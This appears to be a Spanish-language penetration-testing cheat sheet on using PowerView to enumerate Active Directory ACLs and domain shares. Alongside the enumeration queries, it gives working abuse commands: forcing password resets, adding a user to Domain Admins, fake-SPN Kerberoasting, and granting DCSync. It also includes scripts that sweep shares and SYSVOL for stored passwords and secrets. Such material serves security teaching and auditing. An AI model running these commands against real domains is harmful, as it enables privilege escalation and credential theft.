PowerView — Enumerating Domain ACLs y Domain Shares
Conceptos clave
DACL (Discretionary Access Control List) define qué principals tienen acceso permitido o denegado sobre un objeto.
SACL (System Access Control List) permite a administradores registrar intentos de acceso a objetos protegidos.
Cada entrada individual dentro de una ACL se llama ACE (Access Control Entry).
Cuando un usuario intenta acceder a un objeto, el objeto valida el token de acceso del usuario contra su ACL. Si la ACL lo permite, se concede acceso. Si no, se deniega.
Derechos abusables más importantes
ForceChangePassword → Set-DomainUserPassword
Add Members → Add-DomainGroupMember
GenericAll → Set-DomainUserPassword o Add-DomainGroupMember
GenericWrite → Set-DomainObject (asignar SPN falso, modificar atributos)
WriteOwner → Set-DomainObjectOwner
WriteDACL → Add-DomainObjectACL (otorgarse DCSync)
AllExtendedRights → Set-DomainUserPassword o Add-DomainGroupMemberEnumeración con cmdlets nativos (Get-ACL)
ACLs de un usuario específico filtradas por otro usuario
(Get-ACL "AD:$((Get-ADUser targetuser).distinguishedname)").access |
Where-Object {$_.IdentityReference -eq "DOMAIN\sourceuser"}Buscar todos los que tienen WriteProperty o GenericAll sobre un usuario
(Get-ACL "AD:$((Get-ADUser targetuser).distinguishedname)").access |
Where-Object {
$_.ActiveDirectoryRights -match "WriteProperty" -or
$_.ActiveDirectoryRights -match "GenericAll"
} |
Select-Object IdentityReference, ActiveDirectoryRights -Unique |
Format-Table -WrapEnumeración con PowerView
ACLs de un objeto específico
# Usuario
Get-DomainObjectAcl -Identity username -Domain domain.local -ResolveGUIDs
# Grupo
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs
# Con resolución de GUIDs (más legible)
Get-DomainObjectAcl -Identity username -ResolveGUIDs |
Select-Object ObjectDN, ActiveDirectoryRights, SecurityIdentifier
# Alternativa con Get-ObjectAcl
Get-ObjectAcl -Identity username
Get-ObjectAcl -Identity username -ResolveGUIDsConvertir SIDs a nombres legibles
# Convertir un SID específico
Convert-SidToName S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXX
ConvertFrom-SID S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXX
# Convertir lista de SIDs de una vez
$sids = @("S-1-5-21-...-512", "S-1-5-21-...-1104", "S-1-5-32-548")
Convert-SidToName $sidsBuscar quién tiene GenericAll sobre un usuario específico
$sid = ConvertTo-SID username
Get-DomainObjectAcl -Identity username -ResolveGUIDs |
Where-Object {$_.ActiveDirectoryRights -match "GenericAll"} |
Select-Object SecurityIdentifier, ActiveDirectoryRights
# Resolver el SID a nombre
Convert-SidToName <SID obtenido>
# Buscar derechos del usuario actual sobre cualquier objeto
$sid = ConvertTo-SID currentuser
Get-DomainObjectAcl -ResolveGUIDs -Identity * |
Where-Object {$_.SecurityIdentifier -eq $sid}Ver ejemplos detallados en la sección Casos Prácticos más abajo.
Buscar GenericAll sobre un grupo
Get-ObjectAcl -Identity "GroupName" |
Where-Object {$_.ActiveDirectoryRights -eq "GenericAll"} |
Select-Object SecurityIdentifier, ActiveDirectoryRights
# Convertir los SIDs del resultado
"S-1-5-21-...-512","S-1-5-21-...-1104","S-1-5-32-548","S-1-5-18" |
Convert-SidToNameEncontrar ACLs interesantes en todo el dominio
Find-InterestingDomainAcl -Domain domain.local -ResolveGUIDs
Find-InterestingDomainAcl -ResolveGUIDs |
Select-Object ObjectDN, ActiveDirectoryRights, IdentityReferenceNameProduce mucha data. Mejor guardar a archivo y revisar offline:
Find-InterestingDomainAcl -ResolveGUIDs |
Export-Csv acls.csv -NoTypeInformationCasos Prácticos - Combinaciones de ACLs
Caso 1: Usuario sobre Usuario
Pregunta: ¿Tiene jdoe algún privilegio sobre svcbackup?
# Paso 1: SID del atacante
$sid = ConvertTo-SID jdoe
# Paso 2: Ver qué ACEs tiene jdoe sobre svcbackup
Get-DomainObjectAcl -Identity svcbackup -ResolveGUIDs |
Where-Object {$_.SecurityIdentifier -eq $sid}
# Alternativa: sin convertir SID, ver todos los que tienen GenericAll
Get-DomainObjectAcl -Identity svcbackup -ResolveGUIDs |
Where-Object {$_.ActiveDirectoryRights -match "GenericAll"} |
Select-Object SecurityIdentifier, ActiveDirectoryRights |
ForEach-Object {
$name = Convert-SidToName $_.SecurityIdentifier
Write-Host "$name tiene $($_.ActiveDirectoryRights) sobre svcbackup"
}Output:
jdoe tiene GenericAll sobre svcbackup
Domain Admins tiene GenericAll sobre svcbackupCon GenericAll sobre svcbackup puedes:
# Cambiar contraseña (destructivo)
Set-DomainUserPassword -Identity svcbackup -AccountPassword (ConvertTo-SecureString "NewPass123!" -AsPlainText -Force)
# O asignar SPN falso para Kerberoasting (menos destructivo)
Set-DomainObject -Identity svcbackup -Set @{serviceprincipalname="fake/FAKE"}
Get-DomainSPNTicket -SPN "fake/FAKE" | Export-Csv ticket.csv -NoTypeInformationCaso 2: Usuario sobre Grupo
Pregunta: ¿Tiene jdoe algún privilegio sobre el grupo IT Support?
$sid = ConvertTo-SID jdoe
Get-DomainObjectAcl -Identity "IT Support" -ResolveGUIDs |
Where-Object {$_.SecurityIdentifier -eq $sid} |
Select-Object ActiveDirectoryRights, AceTypeOutput:
ActiveDirectoryRights : GenericAll
AceType : AccessAllowedCon GenericAll sobre IT Support puedes:
# Agregarte al grupo
Add-DomainGroupMember -Identity "IT Support" -Members "jdoe"
net group "IT Support" jdoe /add /domain
# Verificar
Get-NetGroup "IT Support" | Select-Object member
# Limpiar después
net group "IT Support" jdoe /del /domain# Ver TODOS los que tienen derechos sobre ese grupo
Get-DomainObjectAcl -Identity "IT Support" -ResolveGUIDs |
Where-Object {$_.AceType -eq "AccessAllowed"} |
Select-Object SecurityIdentifier, ActiveDirectoryRights |
ForEach-Object {
$name = Convert-SidToName $_.SecurityIdentifier
[PSCustomObject]@{
Quien = $name
Derecho = $_.ActiveDirectoryRights
Sobre = "IT Support (grupo)"
}
} | Format-Table -AutoSizeCaso 3: Grupo sobre Usuario
Pregunta: ¿El grupo Help Desk tiene privilegios sobre el usuario adminuser?
$sid = ConvertTo-SID "Help Desk"
Get-DomainObjectAcl -Identity adminuser -ResolveGUIDs |
Where-Object {$_.SecurityIdentifier -eq $sid} |
Select-Object ActiveDirectoryRights, ObjectAceTypeOutput:
ActiveDirectoryRights : ForceChangePassword
ObjectAceType : User-Force-Change-PasswordCon ForceChangePassword sobre adminuser, siendo miembro de Help Desk puedes:
Set-DomainUserPassword -Identity adminuser -AccountPassword (ConvertTo-SecureString "NewPass123!" -AsPlainText -Force)Caso 4: Grupo sobre Grupo
Pregunta: ¿El grupo Help Desk tiene privilegios sobre el grupo Domain Admins?
$sid = ConvertTo-SID "Help Desk"
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs |
Where-Object {$_.SecurityIdentifier -eq $sid} |
Select-Object ActiveDirectoryRightsOutput:
ActiveDirectoryRights : GenericAllCon GenericAll sobre Domain Admins, siendo miembro de Help Desk puedes:
# Agregar tu usuario a Domain Admins
Add-DomainGroupMember -Identity "Domain Admins" -Members "jdoe"
Get-DomainGroupMember -Identity "Domain Admins" | Select-Object MemberNameCaso 5: Todos los privilegios de un usuario sobre el dominio
Pregunta: ¿Qué tiene jdoe sobre cualquier objeto del dominio?
$sid = ConvertTo-SID jdoe
Get-DomainObjectAcl -ResolveGUIDs -Identity * |
Where-Object {$_.SecurityIdentifier -eq $sid} |
Select-Object ObjectDN, ActiveDirectoryRights |
Format-Table -AutoSizeOutput:
ObjectDN ActiveDirectoryRights
-------- ---------------------
CN=svcbackup,CN=Users,DC=domain,DC=local GenericAll
CN=IT Support,CN=Users,DC=domain,DC=local GenericAll
CN=Workstation01,CN=Computers,DC=domain,DC=local GenericWrite# Versión con solo nombres (más legible)
Get-DomainObjectAcl -ResolveGUIDs -Identity * |
Where-Object {$_.SecurityIdentifier -eq $sid} |
ForEach-Object {
[PSCustomObject]@{
Objeto = ($_.ObjectDN -split ",")[0] -replace "CN=",""
Derecho = $_.ActiveDirectoryRights
}
} | Format-Table -AutoSizeCaso 6: GenericAll masivo - Buscar anomalías
Pregunta: ¿Quién tiene GenericAll sobre objetos del dominio fuera de lo esperado?
Get-DomainObjectAcl -ResolveGUIDs -Identity * |
Where-Object {$_.ActiveDirectoryRights -eq "GenericAll"} |
ForEach-Object {
$who = Convert-SidToName $_.SecurityIdentifier
[PSCustomObject]@{
Quien = $who
Sobre = $_.ObjectDN
Derecho = $_.ActiveDirectoryRights
}
} |
Where-Object {
$_.Quien -notmatch "Domain Admins|Enterprise Admins|SYSTEM|Administrator"
} |
Format-Table -AutoSizeFiltra lo esperado y muestra solo los privilegios sospechosos.
Caso 7: WriteDACL y WriteOwner (escalada indirecta)
# Buscar WriteDACL o WriteOwner fuera de cuentas privilegiadas
Get-DomainObjectAcl -ResolveGUIDs -Identity * |
Where-Object {
$_.ActiveDirectoryRights -match "WriteDACL" -or
$_.ActiveDirectoryRights -match "WriteOwner"
} |
ForEach-Object {
$who = Convert-SidToName $_.SecurityIdentifier
[PSCustomObject]@{
Quien = $who
Sobre = $_.ObjectDN
Derecho = $_.ActiveDirectoryRights
}
} |
Where-Object {$_.Quien -notmatch "Domain Admins|Enterprise Admins|SYSTEM"} |
Format-Table -AutoSizeCaso 8: ForceChangePassword sobre un usuario específico
# ¿Quién puede forzar cambio de contraseña de targetuser?
Get-DomainObjectAcl -Identity targetuser -ResolveGUIDs |
Where-Object {$_.ObjectAceType -match "User-Force-Change-Password"} |
ForEach-Object {
$who = Convert-SidToName $_.SecurityIdentifier
Write-Host "$who puede forzar cambio de contraseña de targetuser" -ForegroundColor Yellow
}Caso 9: Encadenamiento de privilegios (ACL Chain)
A veces el privilegio no es directo. El camino puede ser:
jdoe → GenericAll → grupo "Help Desk"
grupo "Help Desk" → ForceChangePassword → adminuserPara detectarlo:
# Paso 1: Ver qué tiene jdoe
$sid = ConvertTo-SID jdoe
Get-DomainObjectAcl -ResolveGUIDs -Identity * |
Where-Object {$_.SecurityIdentifier -eq $sid} |
ForEach-Object {
Write-Host "jdoe tiene $($_.ActiveDirectoryRights) sobre $($_.ObjectDN)"
}
# Paso 2: Ver qué tiene el grupo sobre otros objetos
$sid_helpdesk = ConvertTo-SID "Help Desk"
Get-DomainObjectAcl -ResolveGUIDs -Identity * |
Where-Object {$_.SecurityIdentifier -eq $sid_helpdesk} |
ForEach-Object {
Write-Host "Help Desk tiene $($_.ActiveDirectoryRights) sobre $($_.ObjectDN)"
}Output:
jdoe tiene GenericAll sobre CN=Help Desk,...
Help Desk tiene ForceChangePassword sobre CN=adminuser,...Camino de ataque: jdoe → agregarse a Help Desk → ForceChangePassword sobre adminuser
Resumen de Combinaciones
| Quién | Sobre qué | Derecho | Qué puedes hacer |
|---|---|---|---|
| Usuario | Usuario | GenericAll | Cambiar pass, SPN falso, ASREPRoast |
| Usuario | Usuario | ForceChangePassword | Cambiar contraseña directamente |
| Usuario | Usuario | GenericWrite | Modificar atributos, SPN falso |
| Usuario | Grupo | GenericAll | Agregarte al grupo |
| Grupo | Usuario | GenericAll | (si eres miembro) cambiar pass |
| Grupo | Grupo | GenericAll | (si eres miembro) agregar usuarios |
| Usuario | Computadora | GenericAll/Write | RBCD attack |
| Usuario | Dominio | WriteDACL | Otorgarse DCSync |
| Usuario | GPO | GenericWrite | SharpGPOAbuse |
ACLs en shares (permisos de archivos)
Ver shares disponibles en un host
Get-NetShare -ComputerName fileserver01
Get-NetShare -ComputerName workstation01Ver ACLs de un share específico
Get-PathAcl "\\fileserver01\ShareName"
Get-PathAcl "\\workstation01\<nombre_share>"Si BUILTIN\Users tiene WriteData o GenericAll sobre un share, cualquier usuario del dominio puede escribir en él. Si tiene solo Read, puede leer archivos sensibles.
Enumeración de Domain Shares
Encontrar shares en el dominio
# Listar todos los shares del dominio
Find-DomainShare
# Solo los que tienes acceso
Find-DomainShare -CheckShareAccess
# Output típico:
# Name Type Remark ComputerName
# ---- ---- ------ ------------
# ADMIN$ ... Remote Admin DC01.domain.local
# C$ ... Default share DC01.domain.local
# SYSVOL ... Logon server share DC01.domain.local
# NETLOGON ... Logon server share DC01.domain.localShares por defecto (menos interesantes): ADMIN$, C$, IPC$, NETLOGON
Shares interesantes: cualquier nombre custom como backup, docs, sharing, etc.
Shares por defecto (ignorar generalmente): ADMIN$, C$, IPC$, NETLOGON, SYSVOL (aunque SYSVOL siempre vale revisarlo)
Shares interesantes: cualquier nombre no estándar como fileshare, appdata, it-tools, storage, files, etc.
Buscar archivos interesantes en todos los shares del dominio
# Explorar todos los shares accesibles y buscar archivos sospechosos
Find-DomainShare -CheckShareAccess | ForEach-Object {
$sharePath = "\\$($_.ComputerName)\$($_.Name)"
Write-Host "Explorando: $sharePath" -ForegroundColor Cyan
ls $sharePath -Recurse -ErrorAction SilentlyContinue |
Where-Object {
$_.Name -like "*password*" -or
$_.Name -like "*credential*" -or
$_.Name -like "*secret*" -or
$_.Name -like "*config*" -or
$_.Name -like "*backup*"
} | ForEach-Object {
Write-Host "INTERESANTE: $($_.FullName)" -ForegroundColor Yellow
}
}
# Buscar contenido con credenciales en todos los shares
Find-DomainShare -CheckShareAccess | ForEach-Object {
$sharePath = "\\$($_.ComputerName)\$($_.Name)"
ls $sharePath -Recurse -Include "*.txt","*.xml","*.ini","*.config","*.ps1","*.bat" -ErrorAction SilentlyContinue |
Select-String -Pattern "password|credential|secret" -ErrorAction SilentlyContinue |
Select-Object Path, LineNumber, Line
}Explorar Shares Custom
# Explorar recursivamente
ls \\PCSHARE\share -Recurse
# Leer archivos encontrados
cat \\PCSHARE\share\path\filename.txt
# Buscar archivos con nombres sospechosos
ls \\PCSHARE\share -Recurse |
Where-Object {
$_.Name -like "*password*" -or
$_.Name -like "*cred*" -or
$_.Name -like "*secret*" -or
$_.Name -like "*backup*"
}
# Buscar por extensión
ls \\PCSHARE\docshare -Recurse |
Where-Object {$_.Extension -in @(".txt", ".xml", ".ini", ".config", ".bat", ".ps1")}DCSync — Buscar quién tiene derechos de replicación
DCSync requiere tres derechos sobre el objeto del dominio:
DS-Replication-Get-ChangesDS-Replication-Get-Changes-AllDS-Replication-Get-Changes-In-Filtered-Set
Enumerar todos los SIDs con derechos de replicación o GenericAll sobre el dominio
Get-ObjectACL "DC=domain,DC=local" -ResolveGUIDs |
Where-Object {
($_.ActiveDirectoryRights -match 'GenericAll') -or
($_.ObjectAceType -match 'Replication-Get')
} |
Select-Object SecurityIdentifier |
Sort-Object -Property SecurityIdentifier -UniqueConvertir un SID a nombre legible
ConvertFrom-SID S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXXConvertir todos los SIDs de DCSync a nombres de una vez
$dcsync = Get-ObjectACL "DC=domain,DC=local" -ResolveGUIDs |
Where-Object {
($_.ActiveDirectoryRights -match 'GenericAll') -or
($_.ObjectAceType -match 'Replication-Get')
} |
Select-Object -ExpandProperty SecurityIdentifier |
Select-Object -ExpandProperty value
Convert-SidToName $dcsyncCualquier usuario que aparezca aquí y no sea Domain Admin, Enterprise Admin, Domain Controllers, o grupos del sistema es una cuenta que podría usarse para hacer DCSync sin ser administrador explícito. Vale la pena investigar si es intencional o una misconfiguration.
Qué hacer con cada derecho encontrado
GenericAll o GenericWrite sobre un usuario → cambiar contraseña, asignar SPN falso para Kerberoasting, o desactivar pre-auth para ASREPRoasting. Las dos últimas son menos destructivas que cambiar la contraseña.
GenericAll sobre un grupo → agregarse a ese grupo (ver Caso 2 en Casos Prácticos).
GenericAll o GenericWrite sobre una computadora → Resource-Based Constrained Delegation (RBCD).
WriteDACL sobre el dominio → otorgarse derechos de replicación y hacer DCSync.
WriteOwner sobre un objeto → tomar propiedad del objeto y luego modificar sus ACLs.
GPO con escritura → usar SharpGPOAbuse para agregar admin local, agregar privilegios como SeDebugPrivilege, o ejecutar scripts de inicio.
Si hiciste algo destructivo como cambiar contraseña y comprometiste el dominio, puedes recuperar la contraseña anterior via DCSync con historial y resetearla con Mimikatz: lsadump::ChangeNTLM o lsadump::SetNTLM.
Flujo recomendado al enumerar ACLs
# 1. Buscar ACLs interesantes en todo el dominio
Find-InterestingDomainAcl -ResolveGUIDs |
Select-Object ObjectDN, ActiveDirectoryRights, IdentityReferenceName |
Export-Csv acls.csv -NoTypeInformation
# 2. Buscar derechos del usuario actual sobre cualquier objeto
$sid = ConvertTo-SID currentuser
Get-DomainObjectAcl -ResolveGUIDs -Identity * |
Where-Object {$_.SecurityIdentifier -eq $sid}
# 3. Buscar quién tiene DCSync
$dcsync = Get-ObjectACL "DC=domain,DC=local" -ResolveGUIDs |
Where-Object {
($_.ActiveDirectoryRights -match 'GenericAll') -or
($_.ObjectAceType -match 'Replication-Get')
} |
Select-Object -ExpandProperty SecurityIdentifier |
Select-Object -ExpandProperty value
Convert-SidToName $dcsync
# 4. Ver shares del dominio
Find-DomainShare
Get-NetShare -ComputerName fileserver01
Get-PathAcl "\\server01\ShareName"
# 5. Explorar SYSVOL buscando cpassword
ls \\DC01.domain.local\sysvol\domain.local\Policies\ -Recurse |
Where-Object {$_.Extension -eq ".xml"} |
ForEach-Object { cat $_.FullName }